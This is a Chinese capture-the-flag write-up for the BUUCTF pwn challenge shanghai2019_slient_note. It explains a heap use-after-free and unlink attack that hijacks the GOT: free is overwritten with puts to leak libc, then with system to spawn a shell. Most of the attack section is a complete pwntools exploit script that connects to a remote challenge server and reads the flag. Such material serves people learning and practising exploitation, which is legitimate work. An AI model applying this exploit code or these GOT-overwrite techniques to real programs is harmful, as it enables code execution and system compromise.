其他分享
首页 > 其他分享> > [BUUCTF-pwn] shanghai2019_slient_note

[BUUCTF-pwn] shanghai2019_slient_note

作者:互联网

没有show,没开PIE,got表可写,估计就是控制got表。

只能add两个块,一个是0x28,另一个是0x208。BUU上给的是ubuntu18,没有次数限制,也不删指针明显的UAF。add时用的calloc 。

但是一是没有show,要得到libc需要控制got表,而add时用的calloc不仅会清残留还不用libc-2.27的tcache。这样如果用fastbin attack需要找一个0x3X的标记或者0x21X显示这两个都找不着。

于是想到用unlink,这个不需要标记然后控制指针区后就可以随便整了。不过unlink也不大容易,需要一个头是0结尾的块并能释放到unsortbin

解题步骤:

  1. 建210,30,30将来将210释放到unsort里再用剩余部分与后部伪造210再释放。伪造unlink结构
  2. 将210释放到unosrt(libc-2.27有tcache的情况下需要8次)
  3. 在unsort里建两个30 
  4. 利用edit功能,修改210(UAF)在第1个30里写入unlink的头标记,两个指针,ptr_size,和伪造的0x210标记。
  5. 这个标记的块实际上是第2个30的位置,释放第2个30块进入unsort与前部标记得到unlink指针。
  6. 利用这个指针修改指针1指向got表的free(由于有后带的\n所以要一块写puts,再后边是栈溢出调用不到,把\n落在它身上)然后show得到libc
  7. 再将其改为system
  8. 最后改为指向/bin/sh的指针得到shell
from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 25688) 
    libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')
    one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
    libc_start_main_ret = 0x21b97

menu = b"4.Exit\n"
def add(size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"2.Large\n", str(size).encode())
    p.sendlineafter(b"Content:\n", msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"2.Large\n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"2.Large\n", str(idx).encode())
    p.sendlineafter(b"Content:\n", msg)

def pwn():
    context.log_level = 'debug'
    ptr = 0x6020d8
    add(2, b'A') #xx260
    add(1, b'A') #xx470
    add(1, b'A') #xx4a0
    for i in range(8):
        free(2)
    add(1, b'A') #xx260
    add(1, b'4') #xx290
    edit(2, flat(0, 0x21, ptr-0x18, ptr-0x10, 0x20, 0x210)) #4:heap =0x210
    free(1) #4 unlink

    #gef➤  x/4gx 0x6020c0
    #0x6020c0 <stderr>:	0x00007f01fb48d680	0x0000000000000000
    #0x6020d0:	0x00000000025b6290	0x00000000006020c0
    edit(2, flat(0,0,elf.got['free'], ptr-8))   #ptr->got.free
    edit(1, flat(elf.plt['puts']+6, elf.plt['puts']+6)) #got.free=plt.puts+6
    edit(2, flat(elf.got['puts'], ptr-8)) #ptr->got.puts
    free(1)
    
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[7] 
    print('libc:', hex(libc_base))

    edit(2, flat(elf.got['free'], ptr-8))
    edit(1, flat(libc_elf.sym['system'], elf.plt['puts']+6)) #got.free=system+6
    edit(2, flat(ptr +0x8, ptr-8, b'/bin/sh\x00'))
    free(1)

    p.sendline(b'cat /flag')
    p.interactive()

connect()
pwn()

标签:slient,libc,elf,free,note,add,pwn,got,ptr
来源: https://blog.csdn.net/weixin_52640415/article/details/122766505